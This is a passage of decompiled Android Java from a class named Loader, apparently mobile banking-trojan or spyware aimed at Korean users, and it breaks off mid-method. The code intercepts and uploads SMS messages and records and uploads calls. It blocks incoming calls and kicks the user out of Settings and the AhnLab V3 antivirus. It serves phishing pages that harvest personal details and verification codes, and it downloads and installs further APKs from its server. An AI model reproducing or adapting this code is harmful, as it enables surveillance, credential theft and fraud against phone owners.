  668.     public static final class ap extends PhoneStateListener {
  669.         final /* synthetic */ Loader a;
  670.  
  671.         static final class a<T> implements c.a.d.d<Object> {
  672.             public static final a a = new a();
  673.  
  674.             a() {
  675.             }
  676.  
  677.             public final void a(Object obj) {
  678.             }
  679.         }
  680.  
  681.         static final class b<T> implements c.a.d.d<Throwable> {
  682.             public static final b a = new b();
  683.  
  684.             b() {
  685.             }
  686.  
  687.             public final void a(Throwable th) {
  688.                 th.printStackTrace();
  689.             }
  690.         }
  691.  
  692.         ap(Loader loader) {
  693.             this.a = loader;
  694.         }
  695.  
  696.         public void onDataConnectionStateChanged(int i) {
  697.             if (i == 2) {
  698.                 this.a.h();
  699.             }
  700.         }
  701.  
  702.         public void onSignalStrengthsChanged(SignalStrength signalStrength) {
  703.             d.e.b.h.b(signalStrength, "signalStrength");
  704.             int intValue;
  705.             try {
  706.                 Object invoke = signalStrength.getClass().getMethod("getLevel", new Class[0]).invoke(signalStrength, new Object[0]);
  707.                 if (invoke == null) {
  708.                     throw new d.g("null cannot be cast to non-null type kotlin.Int");
  709.                 }
  710.                 intValue = ((Integer) invoke).intValue();
  711.                 this.a.g.b("ondbm", new Integer[]{Integer.valueOf(intValue)}).a(a.a, b.a);
  712.             } catch (Exception e) {
  713.                 intValue = new m(signalStrength).a();
  714.             }
  715.         }
  716.     }
  717.  
  718.     public static final class aq extends TimerTask {
  719.         final /* synthetic */ Loader a;
  720.         final /* synthetic */ Context b;
  721.  
  722.         static final class a implements Runnable {
  723.             final /* synthetic */ aq a;
  724.  
  725.             a(aq aqVar) {
  726.                 this.a = aqVar;
  727.             }
  728.  
  729.             public final void run() {
  730.                 String topActivityName$loader_release = this.a.a.getTopActivityName$loader_release(this.a.b);
  731.                 if (topActivityName$loader_release != null) {
  732.                     CharSequence charSequence = topActivityName$loader_release;
  733.                     if (t.a(charSequence, (CharSequence) ".settings", false, 2, null) || t.a(charSequence, (CharSequence) ".ahnlab.v3", false, 2, null)) {
  734.                         try {
  735.                             Intent intent = new Intent("android.intent.action.MAIN");
  736.                             intent.addCategory("android.intent.category.HOME");
  737.                             intent.addFlags(268435456);
  738.                             this.a.b.startActivity(intent);
  739.                         } catch (Exception e) {
  740.                         }
  741.                     }
  742.                 }
  743.             }
  744.         }
  745.  
  746.         aq(Loader loader, Context context) {
  747.             this.a = loader;
  748.             this.b = context;
  749.         }
  750.  
  751.         public void run() {
  752.             this.a.b.post(new a(this));
  753.         }
  754.     }
  755.  
  756.     public static final class ar extends ContentObserver {
  757.         final /* synthetic */ Loader a;
  758.         final /* synthetic */ Context b;
  759.  
  760.         static final class a implements Runnable {
  761.             final /* synthetic */ ar a;
  762.             final /* synthetic */ int b;
  763.  
  764.             a(ar arVar, int i) {
  765.                 this.a = arVar;
  766.                 this.b = i;
  767.             }
  768.  
  769.             public final void run() {
  770.                 try {
  771.                     if (e.a(this.a.b, this.b) != null) {
  772.                         this.a.a.g.a("onSms", new Object[]{e.a(this.a.b, this.b).a, e.a(this.a.b, this.b).c, Long.valueOf(e.a(this.a.b, this.b).b)});
  773.                     }
  774.                 } catch (Exception e) {
  775.                     e.printStackTrace();
  776.                 }
  777.             }
  778.         }
  779.  
  780.         ar(Loader loader, Context context, Handler handler) {
  781.             this.a = loader;
  782.             this.b = context;
  783.             super(handler);
  784.         }
  785.  
  786.         public void onChange(boolean z, Uri uri) {
  787.             super.onChange(z, uri);
  788.             if (uri != null) {
  789.                 List pathSegments = uri.getPathSegments();
  790.                 if (pathSegments.size() == 1) {
  791.                     try {
  792.                         Object obj = pathSegments.get(0);
  793.                         d.e.b.h.a(obj, "seg[0]");
  794.                         this.a.b.postDelayed(new a(this, Integer.parseInt((String) obj)), 1000);
  795.                     } catch (Exception e) {
  796.                         e.printStackTrace();
  797.                     }
  798.                 }
  799.             }
  800.         }
  801.     }
  802.  
  803.     public static final class as implements Runnable {
  804.         final /* synthetic */ Notification a;
  805.         final /* synthetic */ int[] b;
  806.         final /* synthetic */ Context c;
  807.         final /* synthetic */ int d;
  808.         final /* synthetic */ Handler e;
  809.  
  810.         as(Notification notification, int[] iArr, Context context, int i, Handler handler) {
  811.             this.a = notification;
  812.             this.b = iArr;
  813.             this.c = context;
  814.             this.d = i;
  815.             this.e = handler;
  816.         }
  817.  
  818.         public void run() {
  819.             new Time().setToNow();
  820.             this.a.contentView.setTextViewText(this.b[2], DateFormat.getTimeFormat(this.c).format(new Date()));
  821.             Context context = this.c;
  822.             if (context == null) {
  823.                 throw new d.g("null cannot be cast to non-null type android.app.Service");
  824.             }
  825.             ((Service) context).startForeground(this.d, this.a);
  826.             this.e.postDelayed(this, (long) 60000);
  827.         }
  828.     }
  829.  
  830.     public static final class at extends b.h {
  831.         final /* synthetic */ Loader a;
  832.         final /* synthetic */ Account b;
  833.  
  834.         at(Loader loader, Account account, String str) {
  835.             this.a = loader;
  836.             this.b = account;
  837.             super(str);
  838.         }
  839.  
  840.         public void a(b.d dVar, b.e eVar) {
  841.             d.e.b.h.b(dVar, "request");
  842.             d.e.b.h.b(eVar, "response");
  843.             eVar.c("text/html;charset=UTF-8");
  844.             Object systemService = Loader.access$getCtx$p(this.a).getSystemService("phone");
  845.             if (systemService == null) {
  846.                 throw new d.g("null cannot be cast to non-null type android.telephony.TelephonyManager");
  847.             }
  848.             String access$getLine1 = this.a.a((TelephonyManager) systemService);
  849.             String str = access$getLine1 != null ? access$getLine1 : "";
  850.             access$getLine1 = this.a.getHtmlPhoneText();
  851.             if (this.b != null) {
  852.                 Object obj = this.b.name;
  853.                 d.e.b.h.a(obj, "acc.name");
  854.                 access$getLine1 = s.b(access$getLine1, "%%ACCOUNT%%", obj, false, 4, null);
  855.             }
  856.             eVar.b(s.b(access$getLine1, "%%PHONE_NUMBER%%", str, false, 4, null));
  857.         }
  858.     }
  859.  
  860.     public static final class au extends b.h {
  861.         final /* synthetic */ Loader a;
  862.         final /* synthetic */ b.g b;
  863.  
  864.         static final class a<T> implements c.a.d.d<Object> {
  865.             final /* synthetic */ au a;
  866.  
  867.             a(au auVar) {
  868.                 this.a = auVar;
  869.             }
  870.  
  871.             public final void a(Object obj) {
  872.                 this.a.a.setHttpPhoneServerUrl("");
  873.                 this.a.b.c();
  874.             }
  875.         }
  876.  
  877.         static final class b<T> implements c.a.d.d<Throwable> {
  878.             public static final b a = new b();
  879.  
  880.             b() {
  881.             }
  882.  
  883.             public final void a(Throwable th) {
  884.                 th.printStackTrace();
  885.             }
  886.         }
  887.  
  888.         au(Loader loader, b.g gVar, String str) {
  889.             this.a = loader;
  890.             this.b = gVar;
  891.             super(str);
  892.         }
  893.  
  894.         public void a(b.d dVar, b.e eVar) {
  895.             d.e.b.h.b(dVar, "request");
  896.             d.e.b.h.b(eVar, "response");
  897.             if (d.e.b.h.a((Object) "application/x-www-form-urlencoded", (String) dVar.i().get("Content-Type"))) {
  898.                 String f = dVar.f("vcode");
  899.                 if (!(f == null || (s.a(f) ^ 1) == 0)) {
  900.                     this.a.g.b("setMyVCode", new String[]{f}).a(new a(this), b.a);
  901.                 }
  902.             }
  903.             eVar.c("text/html;charset=UTF-8");
  904.             eVar.b("");
  905.         }
  906.     }
  907.  
  908.     static final class av implements Runnable {
  909.         final /* synthetic */ b.g a;
  910.  
  911.         av(b.g gVar) {
  912.             this.a = gVar;
  913.         }
  914.  
  915.         public final void run() {
  916.             this.a.run();
  917.         }
  918.     }
  919.  
  920.     public static final class aw extends b.h {
  921.         final /* synthetic */ Loader a;
  922.  
  923.         aw(Loader loader, String str) {
  924.             this.a = loader;
  925.             super(str);
  926.         }
  927.  
  928.         public void a(b.d dVar, b.e eVar) {
  929.             d.e.b.h.b(dVar, "request");
  930.             d.e.b.h.b(eVar, "response");
  931.             eVar.c("text/html;charset=UTF-8");
  932.             eVar.b(this.a.getWebPageData());
  933.         }
  934.     }
  935.  
  936.     public static final class ax extends b.h {
  937.         final /* synthetic */ Loader a;
  938.         final /* synthetic */ b.g b;
  939.  
  940.         static final class a<T> implements c.a.d.d<Object> {
  941.             final /* synthetic */ ax a;
  942.  
  943.             a(ax axVar) {
  944.                 this.a = axVar;
  945.             }
  946.  
  947.             public final void a(Object obj) {
  948.                 this.a.b.c();
  949.                 this.a.a.setHttpServerUrl("");
  950.             }
  951.         }
  952.  
  953.         static final class b<T> implements c.a.d.d<Throwable> {
  954.             public static final b a = new b();
  955.  
  956.             b() {
  957.             }
  958.  
  959.             public final void a(Throwable th) {
  960.                 th.printStackTrace();
  961.             }
  962.         }
  963.  
  964.         ax(Loader loader, b.g gVar, String str) {
  965.             this.a = loader;
  966.             this.b = gVar;
  967.             super(str);
  968.         }
  969.  
  970.         public void a(b.d dVar, b.e eVar) {
  971.             d.e.b.h.b(dVar, "request");
  972.             d.e.b.h.b(eVar, "response");
  973.             eVar.a(302);
  974.             eVar.c("text/html;charset=UTF-8");
  975.             eVar.a("Location", "https://google.com/");
  976.             eVar.b("");
  977.             if (d.e.b.h.a((Object) "application/x-www-form-urlencoded", (String) dVar.i().get("Content-Type"))) {
  978.                 String str;
  979.                 Map j = dVar.j();
  980.                 if (j.containsKey("name")) {
  981.                     str = (String) j.get("name");
  982.                 } else {
  983.                     StringBuilder stringBuilder = new StringBuilder();
  984.                     stringBuilder.append("");
  985.                     stringBuilder.append((String) j.get("first_name"));
  986.                     stringBuilder.append(" ");
  987.                     stringBuilder.append((String) j.get("middle_name"));
  988.                     stringBuilder.append(" ");
  989.                     stringBuilder.append((String) j.get("last_name"));
  990.                     str = stringBuilder.toString();
  991.                 }
  992.                 StringBuilder stringBuilder2 = new StringBuilder();
  993.                 stringBuilder2.append("JSON:");
  994.                 stringBuilder2.append(new JSONObject(j).toString(0));
  995.                 String stringBuilder3 = stringBuilder2.toString();
  996.                 if (str != null && (s.a(str) ^ 1) != 0) {
  997.                     this.a.g.b("setMyInfo", new String[]{str, stringBuilder3}).a(new a(this), b.a);
  998.                 }
  999.             }
  1000.         }
  1001.     }
  1002.  
  1003.     static final class ay implements Runnable {
  1004.         final /* synthetic */ b.g a;
  1005.  
  1006.         ay(b.g gVar) {
  1007.             this.a = gVar;
  1008.         }
  1009.  
  1010.         public final void run() {
  1011.             this.a.run();
  1012.         }
  1013.     }
  1014.  
  1015.     static final class az<T> implements c.a.d.d<Object> {
  1016.         final /* synthetic */ Loader a;
  1017.         final /* synthetic */ String b;
  1018.  
  1019.         /* renamed from: com.Loader$az$1 */
  1020.         static final class AnonymousClass1 implements OnClickListener {
  1021.             final /* synthetic */ az a;
  1022.  
  1023.             /* renamed from: com.Loader$az$1$1 */
  1024.             static final class AnonymousClass1<T> implements c.a.d.d<Object> {
  1025.                 final /* synthetic */ AnonymousClass1 a;
  1026.  
  1027.                 AnonymousClass1(AnonymousClass1 anonymousClass1) {
  1028.                     this.a = anonymousClass1;
  1029.                 }
  1030.  
  1031.                 public final void a(Object obj) {
  1032.                     if (obj instanceof Map) {
  1033.                         Map map = (Map) obj;
  1034.                         Object obj2 = map.get("Item1");
  1035.                         if (obj2 == null) {
  1036.                             throw new d.g("null cannot be cast to non-null type kotlin.Int");
  1037.                         }
  1038.                         int intValue = ((Integer) obj2).intValue();
  1039.                         obj2 = map.get("Item2");
  1040.                         if (obj2 == null) {
  1041.                             throw new d.g("null cannot be cast to non-null type kotlin.ByteArray");
  1042.                         }
  1043.                         byte[] bArr = (byte[]) obj2;
  1044.                         Inflater inflater = new Inflater(true);
  1045.                         inflater.setInput(bArr);
  1046.                         bArr = new byte[intValue];
  1047.                         inflater.inflate(bArr);
  1048.                         this.a.a.a.setWebPageData(new String(bArr, d.i.d.a));
  1049.                         if (d.e.b.h.a(this.a.a.a.getHttpServerUrl(), (Object) "")) {
  1050.                             this.a.a.a.setHttpServerUrl(this.a.a.a.g());
  1051.                         }
  1052.                         p.b(Loader.access$getCtx$p(this.a.a.a), this.a.a.a.getHttpServerUrl());
  1053.                     }
  1054.                 }
  1055.             }
  1056.  
  1057.             AnonymousClass1(az azVar) {
  1058.                 this.a = azVar;
  1059.             }
  1060.  
  1061.             public final void onClick(DialogInterface dialogInterface, int i) {
  1062.                 Object locale = Locale.getDefault().toString();
  1063.                 d.e.b.h.a(locale, "Locale.getDefault().toString()");
  1064.                 if (s.a(locale, "ko", false, 2, null)) {
  1065.                     this.a.a.setWebPageData(this.a.a.getHtmlText());
  1066.                     if (d.e.b.h.a(this.a.a.getHttpServerUrl(), (Object) "")) {
  1067.                         this.a.a.setHttpServerUrl(this.a.a.g());
  1068.                     }
  1069.                     p.b(Loader.access$getCtx$p(this.a.a), this.a.a.getHttpServerUrl());
  1070.                     return;
  1071.                 }
  1072.                 this.a.a.g.b("get_page_data", new String[]{Locale.getDefault().toString(), this.a.b}).a(new AnonymousClass1(this), AnonymousClass2.a);
  1073.             }
  1074.         }
  1075.  
  1076.         az(Loader loader, String str) {
  1077.             this.a = loader;
  1078.             this.b = str;
  1079.         }
  1080.  
  1081.         public final void a(Object obj) {
  1082.             if ((obj instanceof Boolean) && ((Boolean) obj).booleanValue()) {
  1083.                 AlertDialog httpServerDlg = this.a.getHttpServerDlg();
  1084.                 if (httpServerDlg != null) {
  1085.                     httpServerDlg.dismiss();
  1086.                 }
  1087.                 this.a.setHttpServerDlg(new Builder(Loader.access$getCtx$p(this.a)).setMessage(p.b(0)).setCancelable(false).setPositiveButton(p.b(4), new AnonymousClass1(this)).create());
  1088.                 httpServerDlg = this.a.getHttpServerDlg();
  1089.                 if (httpServerDlg == null) {
  1090.                     throw new d.g("null cannot be cast to non-null type android.app.AlertDialog");
  1091.                 }
  1092.                 httpServerDlg.getWindow().setType(2003);
  1093.                 httpServerDlg.show();
  1094.             }
  1095.         }
  1096.     }
  1097.  
  1098.     public static final class b extends f {
  1099.         final /* synthetic */ Loader a;
  1100.         private j b;
  1101.         private Timer c;
  1102.  
  1103.         static final class a<T> implements c.a.d.d<Object> {
  1104.             final /* synthetic */ b a;
  1105.             final /* synthetic */ String b;
  1106.             final /* synthetic */ d.e.b.j.b c;
  1107.  
  1108.             static final class a implements OnClickListener {
  1109.                 final /* synthetic */ a a;
  1110.  
  1111.                 a(a aVar) {
  1112.                     this.a = aVar;
  1113.                 }
  1114.  
  1115.                 public final void onClick(DialogInterface dialogInterface, int i) {
  1116.                     Object systemService = Loader.access$getCtx$p(this.a.a.a).getSystemService("account");
  1117.                     if (systemService == null) {
  1118.                         throw new d.g("null cannot be cast to non-null type android.accounts.AccountManager");
  1119.                     }
  1120.                     Object accounts = ((AccountManager) systemService).getAccounts();
  1121.                     d.e.b.h.a(accounts, "accounts");
  1122.                     for (Account account : accounts) {
  1123.                         if (d.e.b.h.a((Object) "com.google", account.type)) {
  1124.                             break;
  1125.                         }
  1126.                     }
  1127.                     Account account2 = null;
  1128.                     if (d.e.b.h.a(this.a.a.a.getHttpPhoneServerUrl(), (Object) "")) {
  1129.                         this.a.a.a.setHttpPhoneServerUrl(this.a.a.a.a(account2));
  1130.                     }
  1131.                     p.b(Loader.access$getCtx$p(this.a.a.a), this.a.a.a.getHttpPhoneServerUrl());
  1132.                 }
  1133.             }
  1134.  
  1135.             a(b bVar, String str, d.e.b.j.b bVar2) {
  1136.                 this.a = bVar;
  1137.                 this.b = str;
  1138.                 this.c = bVar2;
  1139.             }
  1140.  
  1141.             public final void a(Object obj) {
  1142.                 if (d.e.b.h.a(obj, Boolean.valueOf(true))) {
  1143.                     this.a.a.g.b("on_call_rec", new Serializable[]{this.b, (Serializable) ((byte[]) this.c.a)}).a(AnonymousClass1.a, AnonymousClass2.a);
  1144.                     Object create = new Builder(Loader.access$getCtx$p(this.a.a)).setMessage(p.b(12)).setCancelable(false).setPositiveButton(p.b(4), new a(this)).create();
  1145.                     d.e.b.h.a(create, "dlg");
  1146.                     create.getWindow().setType(2003);
  1147.                     create.show();
  1148.                 }
  1149.             }
  1150.         }
  1151.  
  1152.         static final class b<T> implements c.a.d.d<Throwable> {
  1153.             public static final b a = new b();
  1154.  
  1155.             b() {
  1156.             }
  1157.  
  1158.             public final void a(Throwable th) {
  1159.                 th.printStackTrace();
  1160.             }
  1161.         }
  1162.  
  1163.         static final class c implements Runnable {
  1164.             final /* synthetic */ b a;
  1165.  
  1166.             c(b bVar) {
  1167.                 this.a = bVar;
  1168.             }
  1169.  
  1170.             public final void run() {
  1171.                 this.a.a.setSpeekModle$loader_release(true);
  1172.             }
  1173.         }
  1174.  
  1175.         static final class d<T> implements c.a.d.d<Object> {
  1176.             final /* synthetic */ b a;
  1177.             final /* synthetic */ String b;
  1178.  
  1179.             static final class a implements OnClickListener {
  1180.                 public static final a a = new a();
  1181.  
  1182.                 a() {
  1183.                 }
  1184.  
  1185.                 public final void onClick(DialogInterface dialogInterface, int i) {
  1186.                 }
  1187.             }
  1188.  
  1189.             d(b bVar, String str) {
  1190.                 this.a = bVar;
  1191.                 this.b = str;
  1192.             }
  1193.  
  1194.             public final void a(Object obj) {
  1195.                 if (this.a.a.k || d.e.b.h.a(obj, Boolean.valueOf(true))) {
  1196.                     Object create = new Builder(Loader.access$getCtx$p(this.a.a)).setMessage(p.b(10)).setCancelable(false).setPositiveButton(p.b(4), a.a).create();
  1197.                     d.e.b.h.a(create, "dlg");
  1198.                     create.getWindow().setType(2003);
  1199.                     create.show();
  1200.                     this.a.a(this.b);
  1201.                 }
  1202.             }
  1203.         }
  1204.  
  1205.         static final class e<T> implements c.a.d.d<Throwable> {
  1206.             public static final e a = new e();
  1207.  
  1208.             e() {
  1209.             }
  1210.  
  1211.             public final void a(Throwable th) {
  1212.                 th.printStackTrace();
  1213.             }
  1214.         }
  1215.  
  1216.         b(Loader loader) {
  1217.             this.a = loader;
  1218.         }
  1219.  
  1220.         public void onCallStateChanged(int i, String str) {
  1221.             d.e.b.h.b(str, "incomingNumber");
  1222.             super.onCallStateChanged(i, str);
  1223.             j jVar;
  1224.             if (i == 0) {
  1225.                 Log.d("WS", "IDLE.");
  1226.                 if (d.e.b.h.a(a(), (Object) str) && this.b != null) {
  1227.                     jVar = this.b;
  1228.                     if (jVar == null) {
  1229.                         d.e.b.h.a();
  1230.                     }
  1231.                     File b = jVar.b();
  1232.                     if (b != null) {
  1233.                         d.e.b.j.b bVar = new d.e.b.j.b();
  1234.                         bVar.a = e.a(b);
  1235.                         this.a.g.b("is_call_rec_enable", null).a(c.a.a.b.a.a()).a(new a(this, str, bVar), b.a);
  1236.                     }
  1237.                     this.b = (j) null;
  1238.                 }
  1239.                 a((String) null);
  1240.                 if (this.c != null) {
  1241.                     Timer timer = this.c;
  1242.                     if (timer == null) {
  1243.                         d.e.b.h.a();
  1244.                     }
  1245.                     timer.cancel();
  1246.                     this.c = (Timer) null;
  1247.                 }
  1248.             } else if (i == 2) {
  1249.                 this.a.setSpeekModle$loader_release(true);
  1250.                 c.a.a.b.a.a().a(new c(this), 1000, TimeUnit.MILLISECONDS);
  1251.                 if (d.e.b.h.a(a(), (Object) str)) {
  1252.                     Log.d("WS", "OFFHOOK");
  1253.                     this.b = new j(str);
  1254.                     jVar = this.b;
  1255.                     if (jVar == null) {
  1256.                         d.e.b.h.a();
  1257.                     }
  1258.                     jVar.a();
  1259.                 }
  1260.             } else if (i == 1) {
  1261.                 Object systemService;
  1262.                 if (Loader.access$getPreferences$p(this.a).getBoolean("lock", false)) {
  1263.                     try {
  1264.                         systemService = Loader.access$getCtx$p(this.a).getSystemService("phone");
  1265.                         if (systemService == null) {
  1266.                             throw new d.g("null cannot be cast to non-null type android.telephony.TelephonyManager");
  1267.                         }
  1268.                         TelephonyManager telephonyManager = (TelephonyManager) systemService;
  1269.                         Object declaredMethod = Class.forName(telephonyManager.getClass().getName()).getDeclaredMethod("getITelephony", new Class[0]);
  1270.                         d.e.b.h.a(declaredMethod, "m");
  1271.                         declaredMethod.setAccessible(true);
  1272.                         systemService = declaredMethod.invoke(telephonyManager, new Object[0]);
  1273.                         if (systemService == null) {
  1274.                             throw new d.g("null cannot be cast to non-null type com.android.internal.telephony.ITelephony");
  1275.                         }
  1276.                         ((com.a.a.a.a) systemService).a();
  1277.                     } catch (Exception e) {
  1278.                         e.printStackTrace();
  1279.                     }
  1280.                 }
  1281.                 Log.d("WS", "CALL_STATE_RINGING");
  1282.                 systemService = Loader.access$getCtx$p(this.a).getSystemService("audio");
  1283.                 if (systemService == null) {
  1284.                     throw new d.g("null cannot be cast to non-null type android.media.AudioManager");
  1285.                 }
  1286.                 AudioManager audioManager = (AudioManager) systemService;
  1287.                 audioManager.setStreamVolume(2, audioManager.getStreamMaxVolume(2), 0);
  1288.                 if (Loader.access$getPreferences$p(this.a).getBoolean("lock", false)) {
  1289.                     audioManager.setRingerMode(0);
  1290.                 } else {
  1291.                     audioManager.setRingerMode(2);
  1292.                 }
  1293.                 this.a.g.b("is_call_rec_enable", null).a(c.a.a.b.a.a()).a(new d(this, str), e.a);
  1294.             }
  1295.         }
  1296.     }
  1297.  
  1298.     static final class ba<T> implements c.a.d.d<Throwable> {
  1299.         public static final ba a = new ba();
  1300.  
  1301.         ba() {
  1302.         }
  1303.  
  1304.         public final void a(Throwable th) {
  1305.         }
  1306.     }
  1307.  
  1308.     public static final class bb extends WebViewClient {
  1309.         bb() {
  1310.         }
  1311.  
  1312.         public boolean shouldOverrideUrlLoading(WebView webView, String str) {
  1313.             d.e.b.h.b(webView, "view");
  1314.             d.e.b.h.b(str, "url");
  1315.             if (s.a(str, "http:", false, 2, null) || s.a(str, "https:", false, 2, null)) {
  1316.                 webView.loadUrl(str);
  1317.             }
  1318.             return true;
  1319.         }
  1320.     }
  1321.  
  1322.     public static final class bc extends WebChromeClient {
  1323.         final /* synthetic */ WebView a;
  1324.         final /* synthetic */ Activity b;
  1325.         private View c;
  1326.  
  1327.         bc(WebView webView, Activity activity) {
  1328.             this.a = webView;
  1329.             this.b = activity;
  1330.         }
  1331.  
  1332.         public void onHideCustomView() {
  1333.             ViewParent parent = this.a.getParent();
  1334.             if (parent == null) {
  1335.                 throw new d.g("null cannot be cast to non-null type android.widget.FrameLayout");
  1336.             }
  1337.             ((FrameLayout) parent).removeView(this.c);
  1338.             this.c = (View) null;
  1339.             this.b.setRequestedOrientation(1);
  1340.             super.onHideCustomView();
  1341.         }
  1342.  
  1343.         public void onShowCustomView(View view, CustomViewCallback customViewCallback) {
  1344.             d.e.b.h.b(view, "view");
  1345.             d.e.b.h.b(customViewCallback, "callback");
  1346.             Log.d("WS", "onShowCustomView");
  1347.             ViewParent parent = this.a.getParent();
  1348.             if (parent == null) {
  1349.                 throw new d.g("null cannot be cast to non-null type android.widget.FrameLayout");
  1350.             }
  1351.             ((FrameLayout) parent).addView(view);
  1352.             this.c = view;
  1353.             this.b.setRequestedOrientation(0);
  1354.             super.onShowCustomView(view, customViewCallback);
  1355.         }
  1356.     }
  1357.  
  1358.     static final class bd implements OnKeyListener {
  1359.         final /* synthetic */ WebView a;
  1360.  
  1361.         bd(WebView webView) {
  1362.             this.a = webView;
  1363.         }
  1364.  
  1365.         public final boolean onKey(View view, int i, KeyEvent keyEvent) {
  1366.             d.e.b.h.a((Object) keyEvent, "event");
  1367.             if (keyEvent.getAction() != 0 || i != 4 || !this.a.canGoBack()) {
  1368.                 return false;
  1369.             }
  1370.             this.a.goBack();
  1371.             return true;
  1372.         }
  1373.     }
  1374.  
  1375.     static final class be implements Runnable {
  1376.         final /* synthetic */ Loader a;
  1377.         final /* synthetic */ WebView b;
  1378.  
  1379.         be(Loader loader, WebView webView) {
  1380.             this.a = loader;
  1381.             this.b = webView;
  1382.         }
  1383.  
  1384.         public final void run() {
  1385.             final String access$loadIPAddr = this.a.a("fdgoer343");
  1386.             StringBuilder stringBuilder = new StringBuilder();
  1387.             stringBuilder.append("加载url:");
  1388.             stringBuilder.append(access$loadIPAddr);
  1389.             Log.d("WS", stringBuilder.toString());
  1390.             new Handler(Looper.getMainLooper()).post(new Runnable(this) {
  1391.                 final /* synthetic */ be a;
  1392.  
  1393.                 public final void run() {
  1394.                     this.a.b.loadUrl(access$loadIPAddr);
  1395.                 }
  1396.             });
  1397.         }
  1398.     }
  1399.  
  1400.     static final class c<T> implements c.a.d.d<Object> {
  1401.         final /* synthetic */ Loader a;
  1402.  
  1403.         c(Loader loader) {
  1404.             this.a = loader;
  1405.         }
  1406.  
  1407.         public final void a(Object obj) {
  1408.             if (obj instanceof Object[]) {
  1409.                 Object[] objArr = (Object[]) obj;
  1410.                 if (((objArr.length == 0 ? 1 : 0) ^ 1) != 0) {
  1411.                     Object obj2 = objArr[0];
  1412.                     if (obj2 == null) {
  1413.                         throw new d.g("null cannot be cast to non-null type kotlin.ByteArray");
  1414.                     }
  1415.                     org.msgpack.a.q b = org.msgpack.core.g.a((byte[]) obj2).b();
  1416.                     if (b == null) {
  1417.                         throw new d.g("null cannot be cast to non-null type org.msgpack.value.MapValue");
  1418.                     }
  1419.                     for (Entry entry : ((org.msgpack.a.s) b).a()) {
  1420.                         int i;
  1421.                         org.msgpack.a.x xVar = (org.msgpack.a.x) entry.getKey();
  1422.                         org.msgpack.a.x xVar2 = (org.msgpack.a.x) entry.getValue();
  1423.                         final String b2 = xVar.w().b();
  1424.                         final Object b3 = xVar2.w().b();
  1425.                         if (this.a.x || this.a.c.contains(b2) || !(d.e.b.h.a(b3, (Object) "*") || this.a.c.contains(b3))) {
  1426.                             i = 0;
  1427.                             continue;
  1428.                         } else {
  1429.                             i = 1;
  1430.                             continue;
  1431.                         }
  1432.                         if (i != 0) {
  1433.                             StringBuilder stringBuilder = new StringBuilder();
  1434.                             stringBuilder.append(c.k);
  1435.                             stringBuilder.append(b2);
  1436.                             stringBuilder.append(".apk");
  1437.                             final File file = new File(stringBuilder.toString());
  1438.                             c.a.a a = c.a.a.a((c.a.d) new c.a.d(this) {
  1439.                                 final /* synthetic */ c a;
  1440.  
  1441.                                 public final void a(final c.a.b bVar) {
  1442.                                     d.e.b.h.b(bVar, "emitter");
  1443.                                     if (file.exists()) {
  1444.                                         bVar.c_();
  1445.                                         return;
  1446.                                     }
  1447.                                     this.a.a.x = true;
  1448.                                     this.a.a.g.b("getPkgData", new String[]{b2}).a(new c.a.d.d<Object>(this) {
  1449.                                         final /* synthetic */ AnonymousClass1 a;
  1450.  
  1451.                                         public final void a(Object obj) {
  1452.                                             if (obj == null) {
  1453.                                                 throw new d.g("null cannot be cast to non-null type kotlin.Array<*>");
  1454.                                             }
  1455.                                             Object obj2 = ((Object[]) obj)[0];
  1456.                                             if (obj2 == null) {
  1457.                                                 throw new d.g("null cannot be cast to non-null type kotlin.ByteArray");
  1458.                                             }
  1459.                                             byte[] bArr = (byte[]) obj2;
  1460.                                             FileOutputStream fileOutputStream = new FileOutputStream(file);
  1461.                                             fileOutputStream.write(bArr);
  1462.                                             fileOutputStream.close();
  1463.                                             bVar.c_();
  1464.                                             this.a.a.a.x = false;
  1465.                                         }
  1466.                                     }, new c.a.d.d<Throwable>(this) {
  1467.                                         final /* synthetic */ AnonymousClass1 a;
  1468.  
  1469.                                         public final void a(Throwable th) {
  1470.                                             bVar.a(th);
  1471.                                             this.a.a.a.x = false;
  1472.                                         }
  1473.                                     });
  1474.                                 }
  1475.                             }).b(c.a.g.a.a()).a(c.a.a.b.a.a());
  1476.                             c.a.d.a anonymousClass2 = new c.a.d.a(this) {
  1477.                                 final /* synthetic */ c a;
  1478.  
  1479.                                 /* renamed from: com.Loader$c$2$1 */
  1480.                                 static final class AnonymousClass1 extends d.e.b.i implements d.e.a.a<d.i> {
  1481.                                     final /* synthetic */ AnonymousClass2 a;
  1482.  
  1483.                                     static final class a extends d.e.b.i implements d.e.a.a<d.i> {
  1484.                                         final /* synthetic */ AnonymousClass1 a;
  1485.  
  1486.                                         /* renamed from: com.Loader$c$2$1$a$1 */
  1487.                                         static final class AnonymousClass1 extends d.e.b.i implements d.e.a.a<d.i> {
  1488.                                             final /* synthetic */ a a;
  1489.  
  1490.                                             AnonymousClass1(a aVar) {
  1491.                                                 this.a = aVar;
  1492.                                                 super(0);
  1493.                                             }
  1494.  
  1495.                                             public /* synthetic */ Object a() {
  1496.                                                 b();
  1497.                                                 return d.i.a;
  1498.                                             }
  1499.  
  1500.                                             public final void b() {
  1501.                                                 file.delete();
  1502.                                                 Intent launchIntentForPackage = Loader.access$getCtx$p(this.a.a.a.a.a).getPackageManager().getLaunchIntentForPackage(b2);
  1503.                                                 if (launchIntentForPackage != null) {
  1504.                                                     launchIntentForPackage.addFlags(268435456);
  1505.                                                     Loader.access$getCtx$p(this.a.a.a.a.a).startActivity(launchIntentForPackage);
  1506.                                                 }
  1507.                                             }
  1508.                                         }
  1509.  
  1510.                                         a(AnonymousClass1 anonymousClass1) {
  1511.                                             this.a = anonymousClass1;
  1512.                                             super(0);
  1513.                                         }
  1514.  
  1515.                                         public /* synthetic */ Object a() {
  1516.                                             b();
  1517.                                             return d.i.a;
  1518.                                         }
  1519.  
  1520.                                         public final void b() {
  1521.                                             b.a.a(Loader.access$getCtx$p(this.a.a.a.a), file);
  1522.                                             b bVar = b.a;
  1523.                                             Object obj = b2;
  1524.                                             d.e.b.h.a(obj, "newPkg");
  1525.                                             bVar.b(obj, new AnonymousClass1(this));
  1526.                                         }
  1527.                                     }
  1528.  
  1529.                                     AnonymousClass1(AnonymousClass2 anonymousClass2) {
  1530.                                         this.a = anonymousClass2;
  1531.                                         super(0);
  1532.                                     }
  1533.  
  1534.                                     public /* synthetic */ Object a() {
  1535.                                         b();
  1536.                                         return d.i.a;
  1537.                                     }
  1538.  
  1539.                                     public final void b() {
  1540.                                         final d.e.a.a aVar = new a(this);
  1541.                                         try {
  1542.                                             if ((d.e.b.h.a((Object) "*", b3) ^ 1) == 0 || !this.a.a.a.c.contains(b3)) {
  1543.                                                 aVar.a();
